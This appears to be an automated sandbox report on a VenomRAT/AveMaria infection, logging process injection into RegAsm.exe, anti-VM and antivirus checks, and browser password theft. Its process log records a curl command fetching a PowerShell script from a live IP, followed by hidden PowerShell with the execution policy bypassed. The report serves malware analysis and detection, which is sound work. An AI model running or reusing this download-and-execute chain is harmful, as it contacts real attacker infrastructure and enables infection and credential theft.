Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6268, type: MEMORYSTR

Yara detected VenomRAT

Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6268, type: MEMORYSTR

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: TASKMGR.EXE#PROCESSHACKER.EXE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: FE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2B10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 29A0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4855	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5008	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 1198	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 8646	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.dll

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2052	Thread sleep count: 4855 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1020	Thread sleep count: 5008 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6368	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4460	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7088	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: curl.exe, 00000005.00000003.2096159096.0000020380074000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll8
Source: RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxAAntiAnalysis : Hosting detected!AAntiAnalysis : Process detected!QAntiAnalysis : Virtual machine detected!AAntiAnalysis : SandBox detected!CAntiAnalysis : Debugger detected!
Source: RegAsm.exe, 0000000B.00000002.4584977921.0000000005193000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4572692463.0000000000DBE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VirtualMachine:
Source: powershell.exe, 00000004.00000002.2214407011.0000023AE6B6A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll#

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6268, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, Outils.cs	Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi)))
Source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, Outils.cs	Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi)))
Source: 4.2.powershell.exe.23ad05bb1d0.5.raw.unpack, ClasserPlus.cs	Reference to suspicious API methods: VirtualAllocEx(processInfo.ProcessHandle, num3, length, 12288, 64)

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"

Compiles code for process injection (via .Net compiler)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File written: C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.0.cs

Jump to dropped file

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 700000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 702000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 826008	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDC68.tmp" "c:\Users\user\AppData\Local\Temp\vbemnivw\CSCFFA6F3335FDF408C8C503A5C98CF914D.TMP"	Jump to behavior

Source: RegAsm.exe, 0000000B.00000002.4575113182.0000000002F13000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4575113182.0000000002DDF000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4575113182.0000000002EED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: ProgMan
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd!SHELLDLL_DefView
Source: RegAsm.exe, 0000000B.00000002.4575113182.0000000002F13000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4575113182.0000000002EED000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4575113182.0000000002F9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager`,
Source: RegAsm.exe, 0000000B.00000002.4575113182.0000000002F13000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4575113182.0000000002DDF000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4575113182.0000000002EED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@\

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected VenomRAT

Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6268, type: MEMORYSTR

Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: MSASCui.exe
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: procexp.exe
Source: RegAsm.exe, 0000000B.00000002.4572692463.0000000000DBE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected AveMaria stealer

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6268, type: MEMORYSTR

Yara detected BrowserPasswordDump

Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE
